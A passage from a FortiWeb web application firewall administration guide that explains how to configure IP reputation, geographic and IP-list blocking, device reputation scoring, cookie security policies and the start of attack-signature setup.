Because geographical IP policies are evaluated before many other techniques, defining these IP addresses can be used to improve performance. For details, see "[Sequence of scans](#)" on page 56.

To configure an IP reputation policy

1. If you need to exempt some clients' public IP addresses due to possible false positives, configure IP reputation exemptions first. Go to **Tracking > IP Reputation** and select the **Exceptions** tab to create a new exception.

2. Go to **Tracking > IP Reputation** and select the **Policy** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

3. In the **Status** column, enable the following categories of disreputable clients that you want to block and/or log:

Botnet	Malware that may perform many malicious tasks, such as downloading and executing additional malware, receiving commands from a control server and relaying specific information and telemetry back to the control server, updating or deleting itself, stealing login and password information, logging keystrokes, participating in a Distributed Denial of Service (DDoS) attack, or locking and encrypting the contents of your computer and demanding payment for its safe return.
Anonymous proxy	A tool that attempts to make a user's activity untraceable. It acts as an intermediary between users and the Internet so that users can access the Internet anonymously. Users often be trying to bypass geography restrictions or otherwise hide activity that they don't want traced to them.
Phishing	A social engineering technique that is used to obtain sensitive and confidential information by masquerading as communications from a trusted entity such as a well known institution, company, or website. The malware is typically not in the communication itself, but in the links within the communication.
Spam	A messaging technique in which a large volume of unsolicited messages are sent to a large number of recipients. The content of spam may be harmless, but often contain malware, too.
Tor	A type of anonymous proxy that is available as software to facilitate anonymous web browsing on the Internet. Tor directs user web traffic through an overlay network to hide information about users. Users aim to keep communication on the Internet anonymous. Tor may allow users to circumvent security measures such as geography restrictions or otherwise hide activity that they don't want traced to them.
Others	This includes threats to which the FortiGuard IP Reputation service assigns a poor reputation, including virus-infected clients and malicious spiders/crawlers.



APTs often mask their source IP using anonymizing proxies. While casual attackers will move on to easier potential targets if their initial attempts fail, APTs are motivated to persist until they achieve a successful breach. Early warning can be critical. Therefore even if some innocent anonymous clients use your web servers and you do not want to block them, you still may want to log proxied anonymous requests.

Filtering your other attack logs by these anonymous IPs can help you to locate and focus on dangerous requests from these IPs, whether you want to use them to configure a defense, for law enforcement, or for forensic analysis.

4. For the categories that you enabled, configure these settings:

Action	Select the action that FortiWeb takes when it detects the category: • Alert—Accept the request and generate an alert email and/or log message. • Alert & Deny—Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Period Block—Block subsequent requests from the client for a number of seconds. Also configure Block Period (page 487). You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client's IP. For details, see "Defining your proxies, clients, & X-headers" on page 421. Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. • Redirect—Redirect the request to the URL that you specify in the protection profile and generate an alert email and/or log message. Also configure Redirect URL (page 269) and Redirect URL With Reason (page 269).
Block Period	Enter the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects the category. This setting is available only if the Action (page 487) is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 1. For details, see "Monitoring currently blocked IPs" on page 735.

Severity	When categories are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. In each row, select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is Low.
Trigger Action	Select which trigger, if any, that FortiWeb will carry out when it logs and/or sends an alert email about the detection of a category. For details, see "Viewing log messages" on page 706.

5. Click **Apply**.

6. To apply your IP reputation policy, enable **IP Reputation** (page 267) in a protection profile that is used by a policy. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.

Attack log messages contain `Anonymous Proxy : IP Reputation Violation` or `Botnet : IP Reputation Violation` when this feature detects a possible attack.

See also

- ["Predefined suspicious request URLs"](#) on page 221
- ["Configuring an auto-learning profile"](#) on page 225
- ["Recognizing data types"](#) on page 216
- ["Connecting to FortiGuard services"](#) on page 187
- ["How often does Fortinet provide FortiGuard updates for FortiWeb?"](#) on page 193

Blacklisting & whitelisting countries & regions

While many websites are truly global in nature, others are specific to a region. Government web applications that provide services only to its residents are one example.

In such cases, when requests **appear** to originate from other parts of the world, it may not be worth the security risk to accept them.

- DDoS botnets and mercenary hackers might be the predominant traffic source.
- Anonymizing VPN services or Tor may have been used to mask the true source IP of an attacker that is actually within your own country.



Blacklisting clients individually in this case would be time-consuming and difficult to maintain due to PPPoE or other dynamic allocations of public IP addresses, and IP blocks that are re-used by innocent clients.

FortiWeb allows you to block traffic from many IP addresses that are currently known to belong to networks in other regions. It uses a MaxMind GeoLite (<https://www.maxmind.com>) database of mappings between geographical regions and all public IP addresses that are known to originate from them.

You can also specify exceptions to the blacklist, which allows you to block a country or region but allow a geographic location within that country or region. If you enable **Allow Known Search Engines** (page 268), blacklisting will also bypass client source IP addresses if they are using a known search engine.

Because network mappings may change as networks grow and shrink, if you use this feature, be sure to periodically update the geography-to-IP mapping database. To download the file, go to the Fortinet Customer Service & Support website:

<https://support.fortinet.com>



Because geographical IP policies are evaluated before many other techniques, defining these IP addresses can be used to improve performance. For details, see "Sequence of scans" on page 56.

To configure blocking by geography

1. Verify that client source IP addresses are visible to FortiWeb in either the X-headers or as the `SRC` field at the IP layer. For details, see "Defining your web servers & load balancers" on page 387.

If FortiWeb is behind an external load balancer that applies SNAT, for example, you may need to configure it to append its and the client's IP address to `X-Forwarded-For` in the HTTP header so that FortiWeb can apply this feature. Otherwise, all traffic may appear to come from the same client, with a private network IP: the external load balancer.

2. If you want to use a trigger to create a log message and/or alert email when a geographically blacklisted client attempts to connect to your web servers, configure the trigger first. For details, see "Viewing log messages" on page 706.
3. If you need to exempt some clients' public IP addresses, configure Geo IP reputation exemptions first:
 - Go to **Web Protection > Access > Geo IP**.
 - To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "Permissions" on page 85.
 - Specify a name for the exception item, and then click **OK**.
 - Click **Create New** to add IPv4/IPv6 addresses (for example, `192.168.0.1` or `2001::1`) or IPv4/IPv6 ranges (for example, `192.168.0.1-192.168.0.255` or `2001::1-2001::100`) to the exception item, as required.
4. Go to **Web Protection > Access > Geo IP**.
5. Click **Create New**.
6. Configure these settings:

Name	Type a name that can be referenced by other parts of the configuration. Do

	not use spaces or special characters. The maximum length is 63 characters.
Severity	When rule violations are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when a blacklisted IP address attempts to connect to your web servers: • Low • Medium • High
Trigger Action	Select which trigger, if any, that the FortiWeb appliance uses when it logs and/or sends an alert email about a blacklisted IP address's attempt to connect to your web servers. For details, see " Viewing log messages " on page 706.
Exception	If required, select the exceptions configuration you created in Step 3 on page 489.

7. Click **OK**.

8. Click **Create New**.

9. From the **Country** list on the left, select one or more geographical regions that you want to block, then click the right arrow to move them to the **Selected Country** list on the right.

In addition to countries, the **Country** list also includes distinct territories within a country, such as Puerto Rico and United States Minor Outlying Islands, and regions that are not associated with any country, such as Antarctica.

10. Click **OK**.

The web UI returns to the initial dialog. The countries that you are blocking will appear as individual entries.

11. Click **OK**.

12. To apply your geographical blocking rule, select it in a protection profile that a server policy is using. For details, see "[Configuring a protection profile for inline topologies](#)" on page 261 or "[Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)" on page 270.

See also

- "[Blacklisting & whitelisting clients using a source IP or source IP range](#)" on page 490
- "[Connecting to FortiGuard services](#)" on page 187
- "[How often does Fortinet provide FortiGuard updates for FortiWeb?](#)" on page 193

Blacklisting & whitelisting clients using a source IP or source IP range

You can define which source IP addresses are trusted clients, undetermined, or distrusted.

- **Trusted IPs**—Almost always allowed to access to your protected web servers. Trusted IPs are exempt from many (but not all) of the restrictions that would otherwise be applied by a server policy. For a list of skipped scans, see "[Sequence of scans](#)" on page 56.

- **Blacklisted IPs**—Blocked and prevented from accessing your protected web servers. Requests from blacklisted IP addresses receive a warning message as the HTTP response. The warning message page includes **ID: 70007**, which is the ID of all attack log messages about requests from blacklisted IPs.

If a source IP address **is neither** explicitly blacklisted or trusted by an IP list policy, the client can access your web servers, **unless** it is blocked by any of your other configured, subsequent web protection scan techniques. For details, see ["Sequence of scans"](#) on page 56.

Because trusted and blacklisted IP policies are evaluated before many other techniques, defining these IP addresses can be used to improve performance. For details, see ["Sequence of scans"](#) on page 56.

Because many businesses, universities, and even now home networks use NAT, a packet's source IP address may not necessarily match that of the client. Keep in mind that if you black list or white list an individual source IP, it may therefore inadvertently affect other clients that share the same IP.



X-header-derived client source IPs do **not** support this feature in this release. If FortiWeb is deployed behind a load balancer or other web proxy that applies source NAT, this feature will not work. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.

To configure policies for individual source IPs

1. If you want to use a trigger to create a log message and/or alert email when a blacklisted client attempts to connect to your web servers, configure the trigger first. See ["Viewing log messages"](#) on page 706.

2. Go to **Web Protection > Access > IP List**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.
4. In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
5. Click **OK**.
6. Click **Create New** to add an entry to the set.
7. Configure these settings:

Type	Select either: • Trust IP—The source IP address is trusted and allowed to access your web servers, unless it fails a previous scan. For details, see "Sequence of scans" on page 56. • Block IP—The source IP address that is distrusted, and is permanently blocked (blacklisted) from accessing your web servers, even if it would normally pass all other scans. Note: If multiple clients share the same source IP address, such as when a group of clients is behind a firewall or router performing network address translation (NAT), blacklisting the source IP address could block innocent clients that share the same source IP address

	with an offending client.
IPv4/IPv6 / IP Range	Type the client's source IP address. You can enter either a single IP address or a range of addresses (e.g., 172.22.14.1–172.22.14.255 or 10:200::10:1–10:200:10:100).
Severity	When rule violations are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when a blacklisted IP address attempts to connect to your web servers: • Low • Medium • High
Trigger Policy	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a blacklisted IP address's attempt to connect to your web servers. For details, see "Viewing log messages" on page 706.

8. Click **OK**.

9. Repeat the previous steps for each individual IP list member that you want to add to the IP list.

10. To apply the IP list, select it in an inline or Offline Protection profile. For details, see "[Configuring a protection profile for inline topologies](#)" on page 261 or "[Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)" on page 270.

Attack log messages contain `Blacklisted IP blocked` when this feature detects a blacklisted source IP address.

See also

- "[Blacklisting & whitelisting countries & regions](#)" on page 488
- "[Sequence of scans](#)" on page 56
- "[Monitoring currently blocked IPs](#)" on page 735

Blacklisting content scrapers, search engines, web crawlers, & other robots

You can use FortiWeb features to control access by Internet robots such as:

- search engine indexers
- automated tools such as link checkers, web crawlers, and spiders

FortiWeb keeps up-to-date the predefined signatures for malicious robots and source IPs if you have subscribed to FortiGuard Security Service.

To block typically unwanted automated tools, use **Bad Robot** (page 512).

To control which search engine crawlers are allowed to access your sites, go to **Server Objects > Global > Known Search Engines**; also configure **Allow Known Search Engines** (page 268).

See also

- ["Sequence of scans"](#) on page 56

Blocking client devices with poor reputation

While using IP-based access controls (blacklisting) to block network traffic from malicious client devices is core to a WAF solution, issues with using only IP-based access controls remain. Because IP-based access controls rely on identifying attackers by comparing their IP addresses with blacklist databases, network security concerns and vulnerabilities remain when attackers can:

- Change their IP address by using anonymous proxies
- Hide behind shared public IP addresses through NAT, DHCP or PPPoE technologies

Compared to changing IP address or hiding behind shared IP addresses, it is difficult and impractical to change the computer attackers use to probe defenses and launch attacks. Rather than relying only on IP-based access controls, FortiWeb's device tracking feature identifies suspected attackers based on the computers they are using. To identify a visiting device, FortiWeb generates a unique device ID according to a set of its characteristics, including the time zone, source IP, operating system, browser, language, CPU, color depth, and screen size.

When device tracking is enabled and a device reputation security policy is selected, FortiWeb evaluates the reputation of client devices that trigger security violations. If a device triggers a security violation in a device reputation security policy, it will acquire a lower device reputation. Access to networks and servers can be managed according to a device's reputation.

See also

- ["Monitoring currently tracked devices "](#) on page 736

How device reputation works

The device reputation mechanism takes into account the following factors:

Threat weight of security violations

Each protection feature involved in the device reputation mechanism must be scored with a threat weight to indicate how serious a security violation is; this generally depends on the security concerns according to how networks and servers will be used. For example, SQL injection might be a higher risk security violation if database applications are provided on servers, though it may be a lower risk event if no database applications are provided. When a security violation is detected, the threat weight of the security violation is used to calculate the reputation of the device that launched the event.

Reputation of a device

FortiWeb reacts to security violations launched by a device according to reputation of the device. A device initially joins the network with a good reputation. A good reputation indicates a low-risk device; a bad reputation indicates a high-risk device. In a device profile, the historical threat weight field is the sum of the threat weights of all the security violations launched by the device. As a device triggers security violations, the device reputation is negatively affected; each time a device violates a device reputation security policy, a corresponding threat weight

is added to the total value in the device profile. The higher the accumulated threat weight of the device, the poorer reputation of the device.

Risk level of a device

A device can be classified as low-risk, medium-risk, and high-risk according to its device reputation. To identify the risk level of a device, the scale of the risk levels must be defined. For example, devices that have a historical threat weight between 0-100 may be considered low-risk, between 101-500 medium-risk, and between 501-1000 high-risk.

Violation action based on risk level

When device tracking is enabled and a device reputation security policy is selected, FortiWeb can react to a security violation according to a device's reputation rather than just the individual security policy. Once the scale of device risk levels is determined, a violation action of each risk level may be defined so that FortiWeb can properly react to the risk level of a device when it detects a security violation launched from the device.

When device tracking is enabled and a device reputation security policy is selected, FortiWeb behaves as follows:

1. Identify the device through the fingerprint technique and check whether a profile of the device already exists when a security violation launched by a visiting device is detected. If a device profile does not already exist, a profile of the device with a unique device ID is created.
2. Add the threat weight of the security violation launched by this device to the historical threat weight in the device's profile.
3. Evaluate the reputation of the device (risk level of the device) by comparing the historical threat weight of the device with the predefined device risk level.
4. Trigger the violation action corresponding with the risk level.

Configuring device tracking & device reputation security policies

Four major steps are required to configure device tracking device reputation security policies:

- Define the threat weight of each security violation. For details, see ["To define the threat weight of each security violation"](#) on page 494.
- Create a device reputation security policy. For details, see ["To define device risk levels and corresponding violation actions"](#) on page 496.
- Enable device tracking and select a device reputation security policy in a protection profile. For details, see ["To enable device tracking and select a device reputation security policy in a protection profile"](#) on page 497
- Create device reputation security policy exceptions. For details, see ["To create device reputation exceptions"](#) on page 497.

You can also modify device tracking settings globally. For details, see ["To modify device tracking settings"](#) on page 497.

To define the threat weight of each security violation

1. Go to **Policy > Threat Weight**.
2. Configure **Risk Level Values**

There are four different risk levels used to indicate how serious a security violation is: Low, Medium, High, and Critical. The specified values of the risk levels are the weights used to calculate the reputation of a device when it violates the security policy.

Assign a threat weight of 1-100 to the risk levels. It is possible to initially use the default values and later adjust them according to specific security concerns.

Risk Level Values



Low	1	Medium	10	High	30	Critical	100

3. Define risk level of security violations.

Here are the security violations that FortiWeb can detect:

- Signatures (See ["Blocking known attacks & data leaks"](#) on page 505)
- Custom Signatures (See ["Defining custom data leak & attack signatures"](#) on page 525)
- Illegal Xml Formats (See ["Enable XML Protocol Detection"](#) on page 263)
- Illegal Json Formats (See ["Enable JSON Protocol Detection"](#) on page 264)
- DoS Attacks (See ["DoS prevention"](#) on page 604)
- Custom Policy Violations (See ["Combination access control & rate limiting"](#) on page 480)
- Padding Oracle Attacks (See ["Defeating cipher padding attacks on individually encrypted inputs"](#) on page 534)
- CSRF Attacks (See ["Defeating cross-site request forgery \(CSRF\) attacks"](#) on page 538)
- HTTP Protocol Constraint Violations (See ["HTTP/HTTPS protocol constraints"](#) on page 568)
- Brute Force Logins (See ["Preventing brute force logins"](#) on page 619)
- URL Access Violations (See ["Restricting access to specific URLs"](#) on page 475)
- Page Access Violations (See ["Enforcing page order that follows application logic"](#) on page 544)
- Start Page Violations (See ["Specifying URLs allowed to initiate sessions"](#) on page 548)
- Allow Methods Violations (See ["Specifying allowed HTTP methods"](#) on page 564)
- IP List Violations (See ["Blacklisting & whitelisting clients"](#) on page 484)
- Geo IP Violations (See ["Blacklisting & whitelisting countries & regions"](#) on page 488)
- Parameter Validation (See ["Validating parameters \("input rules"\)"](#) on page 553)
- Hidden Field Tampering (See ["Preventing tampering with hidden inputs"](#) on page 560)
- Uploading Viruses, Trojans, and other Malware (See ["Limiting file uploads"](#) on page 590)
- Cookie Security Policy Violations (See ["Protecting against cookie poisoning and other cookie-based attacks"](#) on page 501)
- Poor IP Reputation (See ["Blacklisting source IPs with poor reputation"](#) on page 485)
- User Tracking (See ["Tracking users"](#) on page 382)

Adjust the slider bar to assign a risk level to each security violation.

For **Signatures** and **HTTP Protocol Constraints**, first enable them here and go to **Web Protection > Known Attacks > Signatures** and **Web Protection > Protocol > HTTP Protocol Constraints** to set the risk level of individual signatures and HTTP protocol constraints. For details, see ["Blocking known attacks & data leaks"](#) on page 505 and ["HTTP/HTTPS protocol constraints"](#) on page 568.

Moving the cursor of a slider bar to the leftmost side sets the threat weight of a security violation to OFF, meaning that a threat weight will not be calculated for the security violation in the device reputation security policy. Once a security violation without a defined threat weight is detected, FortiWeb will not react to the security violation according to the device reputation security policy, and instead the violation action specified in the local security policy will be triggered.

4. Click **Apply** to save the configuration.

To define device risk levels and corresponding violation actions

1. Go to **Tracking > Device Reputation** and select the **Device Reputation Security Policy**.
2. Click **Create New**.
3. Configure these settings:

Name	Policy name
Weight Range for Low/Medium/High Risk Level	Risk levels are used to evaluate how dangerous a device is. Each time a device violates a device reputation security policy, the historical threat weight of the device increases according to the threat weight of the security violation. FortiWeb compares the historical threat weight of the device with the weight range specified here to identify the risk level of the device so that FortiWeb can trigger a corresponding violation action. Adjust the slider bar to specify weight ranges between 0-1000 for the risk levels.
Action for High/Medium/Low/Unidentified Risk Level Device	Specify the violation action FortiWeb carries out in response to security violations launched by a high/medium/low/unidentified risk device. The options are: • Alert—Accept the request and generate an alert email and/or log message. • Alert & Deny—Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Period Block—Block subsequent requests from the client for a number of seconds. Also configure Block Period. You can customize the web page that returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Using Local Action—Takes the local action specified in a protection

profile.

Device Reputation Exceptions

Select an exceptions policy. For details, see ["To create device reputation exceptions"](#) on page 497.

4. Click **OK** to save the configuration.

To enable device tracking and select a device reputation security policy in a protection profile

1. Go to **Policy > Web Protection Profile**, select the **Inline Protection Profile** tab, and select an existing profile or create a new one.
2. Enable **Device Tracking** and select a policy in **Device Reputation Security Policy**. For details, see [Device Tracking](#) (page 269).



When Device Tracking is enabled, FortiWeb responds to the detected security violations according to actions defined in the selected device reputation security policy rather than the individual security policy and rule in the protection profile. Even so, the security policies are still necessary in a protection profile to identify security violations.

FortiWeb bypasses a device reputation security policy and reacts to security violations according to individual policies and rules when:

- Device Tracking is disabled
- The threat weight of security violations is disabled (set to OFF)
- Device reputation exceptions have been selected

To create device reputation exceptions

1. Go to **Tracking > Device Reputation**, select the **Device Reputation Exceptions** tab, and select an existing policy or create a new one.
2. Security features placed in **Selected Security Feature Name** will bypass device reputation security policies. From **Security Feature Name**, select the security feature and click the right arrow button to move it to **Selected Security Feature Name**.

To cancel the exception to a security feature, select the feature in **Selected Security Feature Name** and click the left arrow to remove it back to **Security Feature Name**.

3. Click **OK** to save the configuration.

To modify device tracking settings

Once you enable device tracking, you can modify its settings according to your environment's needs, including:

- How long a device's reputation is tracked
- How long FortiWeb keeps device reputation data
- How long a device will be blocked
- How often a device fingerprint is updated

1. Go to **System > Config > Device Tracking**.

2. Configure these settings:

Historical Threat Weight Cleanup Period	Select the amount of time that FortiWeb will store threat weight information for a device. Once threat weight information has been stored for longer than the selected amount of time, FortiWeb will remove that information.
Delete Inactive Records After	Enter the amount of time (in days) that FortiWeb will store data for an inactive device before FortiWeb removes data for that device. The default value is 0. The valid range is 0–30.
Block Duration	Enter the amount of time (in hours) that FortiWeb will block a device within a single Historical Threat Weight Cleanup Period .
Update Device Fingerprint After	Enter the interval (in minutes) in which FortiWeb will update the device fingerprint of a currently tracked device. The default value is 60. The valid range is 60–1440.
Database Query Timeout	Enter the maximum amount of time (in seconds) that FortiWeb will wait for a response when it queries the database for threat weight information for a device. The default value is 3. The valid range is 1–30.

3. Click **Apply**.

Example configuration and resulting behavior of a device reputation security policy

In **Threat Weight**, these settings are configured:

Risk Level Value	
Low	5
Medium	10
High	30
Critical	100
Threat weights of security violations	
Signatures	Disabled
DoS Protection	OFF
Illegal Json Format	Low (5)
File Upload Restriction	Medium (10)

Illegal Xml Format	High (30)
Brute Force Login	Critical (100)

Known Attacks

☒ Signatures
Set Threat Weight in the Signatures tab

Custom Signature

Illegal Xml Format

Illegal Json Format

Dos Protection

Dos Protection ☐ OFF

Custom Policy

Padding Oracle Protection

CSRF Protection

Protocol

☒ HTTP Protocol Constraints
Set Threat Weight in the HTTP Protocol Constraints tab

Access

Brute Force Login

URL Access

Page Access

Start Pages

Allow Method

IP List

Geo IP

Input Validation

Parameter Validation

Hidden Field Protection

File Upload Restriction

Cookie Security

Cookie Security Policy

IP Reputation

IP Reputation

User Tracking

Risk Level Values


Low 5 Medium 10 High 30 Critical 100

In the **device reputation security policy**, these settings are configured:

Weight Range of Device Risk Levels	
Low	0-30
Medium	31-100
High	101-1000
Action for Device Risk Levels	
Low	Alert
Medium	Period Block
High	Alert & Deny

New Device Reputation Security Policy

Name

Weight Range for Low/Medium/High Risk Level 

Action for High Risk Level Device Seconds (1 - 3600)

Action for Medium Risk Level Device Seconds (1 - 3600)

Action for Low Risk Level Device Seconds (1 - 3600)

Action for Unidentified Device Seconds (1 - 3600)

Device Reputation Exceptions 

FortiWeb takes the following actions after identifying these security violations from a device:

Security Violations	Behaviors	Device Threat Weight	Device Risk	Violation Action
File Upload Restriction	Generate a device profile after identifying violation coming from the device for the first time. Add the threat weight of File Upload Restriction (10) to the device.	10	Low	Alert
Illegal XML Format	Add the threat weight of Illegal Xml Format (30) to the device.	40	Medium	Period Block
Brute Force Login	Add the threat weight of Brute Force Login (100) to the device.	140	High	Alert & Deny
File Upload Restriction	Add the threat weight of File Upload Restriction (10) to the device.	150	High	Alert & Deny
DoS Protection	Threat weight of DoS Protection is off in Device Reputation, FortiWeb reacts to the violation according to the DoS protection policy specified in the protection profile.	150	High	According to the DoS protection policy
Illegal Json Format	Add the threat weight of Illegal Json Format (5) to the device.	155	High	Alert & Deny
Signatures	Signatures feature is disabled in Device Reputation, FortiWeb reacts	155	High	According to the signatures

Security Violations	Behaviors	Device Threat Weight	Device Risk	Violation Action
	to the violation according to the signatures policy specified in the protection profile.			policy

In this example, FortiWeb carried out two different actions for the two File Upload Restriction violations and carried out a high-risk action to a low-risk Illegal Json Format (threat weight of 5) violation. This is because FortiWeb will react to each security violation according to the reputation (risk) of the device regardless of the type of security policy the device violated.

Protecting against cookie poisoning and other cookie-based attacks

A cookie security policy allows you to configure FortiWeb features that prevent cookie-based attacks and apply them in a protection profile. For example, a policy can enable cookie poisoning detection, encrypt the cookies issued by a back-end server, and add security attributes to cookies.



When you first introduce some of the cookie security features, cookies that client browsers have cached earlier can generate false positives. To avoid this problem, use the **Allow Suspicious Cookies** setting to either take no action against violations of the cookie security features or delay taking action until a specific date.

To configure cookie security

1. Go to **Web Protection > Cookie Security**.
2. Click **Create New** and configure these settings:

Name	Enter a name that identifies the policy when you select it in a protection profile.
Security Mode	• None—FortiWeb does not apply cookie tampering protection or encrypt cookie values. • Signed—Prevents tampering (cookie poisoning) by tracking the cookie value. This option requires you to enable Session Management in the protection policy and the client to support cookies. When FortiWeb receives the first HTTP or HTTPS request from a client, it uses a cookie to track the session. When you select this option, the session-tracking cookie includes a hash value that FortiWeb uses to detect tampering with the cookie from the back-end server response. If FortiWeb determines the cookie from the client has changed, it takes the specified action. • Encrypted—Encrypts cookie values the back-end web server sends to

Cookie Replay

clients. Clients see only encrypted cookies. FortiWeb decrypts cookies submitted by clients before it sends them to the back-end server. No back-end server configuration changes are required.

Optionally, select whether FortiWeb uses the IP address of a request to determine the owner of the cookie.

Note: This is available only when **Security Mode** is configured as **Encrypted**.

To disable this feature, do not select an option. By default, no option is selected.

Because the public IP of a client is not static in many environments, Fortinet recommends that you do not enable **Cookie Replay**.

In some environments (for example, if FortiWeb is deployed behind a NAT load balancer), an X-header configuration is required to provide the original client's IP. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.

Allow Suspicious Cookies

Select whether FortiWeb allows requests that contain cookies that it does not recognize or that are missing cookies.

- When **Security Mode** is **Encrypted**, suspicious cookies are cookies for which FortiWeb does not have a corresponding encrypted cookie value.
- When **Cookie Replay** is **IP**, the suspicious cookie is a missing cookie that tracks the client IP address.

In many cases, when you first introduce the cookie security features, cookies that client browsers have cached earlier generate false positives. To avoid this problem, either select **Never**, or select **Custom** and enter an appropriate date on which to start taking the specified action against suspicious cookies.

- **Never**—FortiWeb does not take the action specified by **Action** against suspicious cookies.
- **Always**—FortiWeb always takes the specified action against suspicious cookies.
- **Custom**—FortiWeb takes the specified action against suspicious cookies starting on the date specified by **Don't Block Until**.

This feature is **not** available if **Security Mode** is **Signed** or **None**.

Don't Block Until

If **Allow Suspicious Cookies** is **Custom**, enter the date on which FortiWeb starts to take the specified action against suspicious cookies.

Cookie Security Attributes**Cookie Max Age**

Enter the maximum age (in minutes) permitted for cookies that do not have an "Expires" or "Max-Age" attribute.

	To configure no expiry age for cookies, enter 0.
Secure Cookie	Enable to add the secure flag to cookies, which forces browsers to return the cookie only when the request is for an HTTPS page.
HTTP Only	Enable to add the "HTTP Only" flag to cookies, which prevents client-side scripts from accessing the cookie. Warning: enabling this feature may break web applications that use cookies.
Action	For cookie security features that trigger an action, select the action that FortiWeb takes: • Alert—Accept the request and generate an alert email, log message, or both. • Alert & Deny—Block the request and generate an alert, log message, or both. • Remove Cookie—Accept the request, but remove the cookie from the datagram before it reaches the web server, and generate an alert message, log message, or both. • Period Block—Block requests for the number of seconds specified by Block Period (page 503). For details, see "Monitoring currently blocked IPs" on page 735. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. For details, see "Defining your proxies, clients, & X-headers" on page 421.
Block Period	When Action (page 503) is Period Block , the number of seconds that FortiWeb blocks requests that have violated cookie security features.
Severity	Select the severity level FortiWeb uses when it logs a violation of a cookie security feature.
Trigger Policy	Select the trigger policy FortiWeb uses when it logs a violation of a cookie security feature.

3. Click **OK**.

4. If you want to specify cookies that are exempt from the cookie security policy, under the Cookie Exceptions Table, click **Create New** and configure these settings:

Cookie Name	Enter the name of the cookie, such as <code>NID</code> .
Cookie Domain	Optionally, enter the partial or complete domain name or IP address as it appears in the cookie. For example: <code>www.example.com</code>

```
.google.com  
10.0.2.50
```

If clients sometimes access the back-end server via IP address instead of DNS, create exemption items for both.

Cookie Path

Optionally, enter the path as it appears in the cookie, such as / or /blog/folder.

5. To apply the cookie security policy, select it in an inline protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.

If **Security Mode** (page 501) is **Signed**, ensure that **Session Management** (page 262) is enabled for the profile.

Blocking known attacks & data leaks

Many attacks and data leaks can be detected by FortiWeb using signatures. Enable signatures to defend against many attacks in the OWASP Top 10 (https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project), including many more:

- Cross-site scripting (XSS)
- SQL injection and many other code injection styles
- Remote file inclusion (RFI)
- Local file inclusion (LFI)
- OS commands
- Trojans/viruses
- Exploits
- Sensitive server information disclosure
- Credit card data leaks

To defend against known attacks, FortiWeb scans:

- Parameters in the URL of HTTP `GET` requests
- Parameters in the body of HTTP `POST` requests
- XML in the body of HTTP `POST` requests (if Enable XML Protocol Detection is enabled. See ["To configure an inline protection profile"](#) on page 261.)
- Cookies
- Headers
- JSON Protocol Detection
- Uploaded filename(`MULTIPART_FORM_DATA_FILENAME`)

In addition to scanning standard requests, FortiWeb can also scan XML And Action Message Format 3.0 (AMF3) serialized binary inputs used by Adobe Flash clients to communicate with server-side software. For details, see ["Enable AMF3 Protocol Detection"](#) on page 263 and ["Illegal XML Format"](#) on page 264 (for inline protection profiles) or ["Enable AMF3 Protocol Detection"](#) on page 273 (for Offline Protection profiles).

Updating signatures

Known attack signatures can be updated. For information on uploading a new set of attack definitions, see ["Uploading signature & geography-to-IP updates"](#) on page 197 and ["Connecting to FortiGuard services"](#) on page 187. You can also create your own; for details, see ["Defining custom data leak & attack signatures"](#) on page 525.

Signature configuration

You can configure each server protection rule with an action, severity, and notification settings ("trigger") that determine how FortiWeb handles each violation.

For example, attacks categorized as cross-site scripting and SQL injection could have the `action` set to `alert_deny`, the `severity` set to `High`, and a trigger set to deliver an alert email each time FortiWeb detects these rule violations. However, you can disable specific signatures in those categories, set them to log/alert instead, or exempt requests to specific host names/URLs.

Using the wizard to create a signature policy

Optionally, use the signature wizard to create a policy. In policies generated by the wizard, any signatures that are not relevant to your environment are disabled; this improves performance and reduces the number of false positives. If necessary, you can perform additional configurations for the set of signatures the wizard generates.

1. go to **Web Protection > Known Attacks > Signatures** and select the **Signature Wizard** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

2. The wizard prompts you to configure the following settings according to your environment:
 - Database
 - Web Server
 - Web Application
 - Script Language
3. Name the signature policy. You will use the name to refer to the policy in other parts of the configuration. The maximum length is 63 characters.
4. Click **Create**.

To configure a signature rule

1. Before you create a signature rule, create custom signatures, if any, that you will add to the rule. For details, see ["Defining custom data leak & attack signatures"](#) on page 525.
